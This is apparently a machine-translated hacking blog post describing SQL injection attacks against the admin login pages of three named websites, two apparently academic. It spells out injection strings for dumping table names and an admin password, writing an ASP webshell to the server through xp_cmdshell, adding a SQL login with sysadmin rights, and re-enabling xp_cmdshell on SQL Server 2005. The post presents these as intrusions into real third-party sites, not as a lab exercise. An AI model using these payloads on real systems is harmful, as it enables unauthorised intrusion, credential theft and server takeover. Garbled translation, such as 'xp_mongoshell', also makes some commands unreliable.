Injection of three background login boxes

Here are some of the little dishes that have taken care ------

Not to mention nonsense

First, use websehll to inject dbo permissions to the background.
Target Website: http://bhst.edu.cn/manage/login.aspx


Determine whether there is any injection input "A'". The error page is returned-
Tabulation and field a' having 1 = 1 --


A' and user> 0 -- determine Permissions



We can see that dbo permissions are also cracked down, and the format of direct horse insertion is as follows --
A'; exec master .. xp_mongoshell 'Echo ^ <% eval request ("lb") % ^> absolute path of the website
Based on the previous error message, it is easy to find the physical path of the website --

The format of inserting a horse into the data is as follows-
A'; exec master .. xp_mongoshell 'Echo ^ <% eval request ("#") % ^> e: \ bs \ Web \ Manage \ lb. asp '--
Although the following information is returned, Let's connect ---

Connection ----


It indicates that we have successfully inserted the trojan. OK --- continue the mining injection in the logon box in 2nd ---
----------------------------------------------- Gorgeous split line -----------------------------------------------------
Target Website: http://bhst.ac.cn/Subject/Manage/login.aspx
This website has a background login box injection-


Let's try-
Enter a' information and return the following-enter the Austrian password as needed ---

Good existence injection --- OK continue
2. Explosive table name a' having 1 = 1 --


Haha
Continue to fill in the field name ----
Input the injection statement 'group by AdminUser. AdminUserID having 1 = 1 --


Continue to input the injection statement ---
'Group by AdminUser. AdminUserID, AdminUser. LoginName having 1 = 1 --


It's almost the same here. We have all the keyword fields and the table name. It's a burst of content. Enter
Injection statement 'and (select top 1 AdminUser. LoginName from adminuser)> 0 --

The account is admin.
Continue -----
Password cracking-injection statement
'And (select top 1 AdminUser. Password from adminuser)> 0 --


The obtained password is in plaintext yestem.
Next, verify that the account and password we get are correct ---


Haha, I smiled awkwardly. The shell has the iss6.0 parsing vulnerability-


Get the pony address ------


-------------------------------------------- Evil demarcation line ------------------------------------------------------------

3rd database Accounts added Using Stored Procedures
Target Website: http://www.bkjia.com/ManageLogin. aspx


First, let's take a look at the 1433 open website? Connect using the telnet command

OK ----
Input statement
Asd '; exec master. dbo. sp_addlogin 'nft', 'fuckyou -- add the SQL account and password
Asd '; exec sp_addsrvrolemember 'nft', 'sysadmin' -- escalate Permissions
Let's enter-

Asd ', '1'; exec master. dbo. sp_addlogin 'nft', 'fuckyou -- confirm
Description: added successfully.

Continue to escalate Permissions


Well, I have a smile and a more lustful smile (it means that this stage has been connected to port 1433 of the website, and the connection is automatically lost after execution)
Next connection ---


------------------------------------ Small episode --------------------------------------------------

Remaining points



SQL server blocks the creation of xp_mongoshell ................................. This is generally a sql2005 database. We need to manually restore it.
Sql2005 restore xp_mongoshell:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp _ Your shell', 1;
RECONFIGURE;

Enter these four statements in the login box to restore the system.

Well, there's no gold in this article.

From the radish header 'blog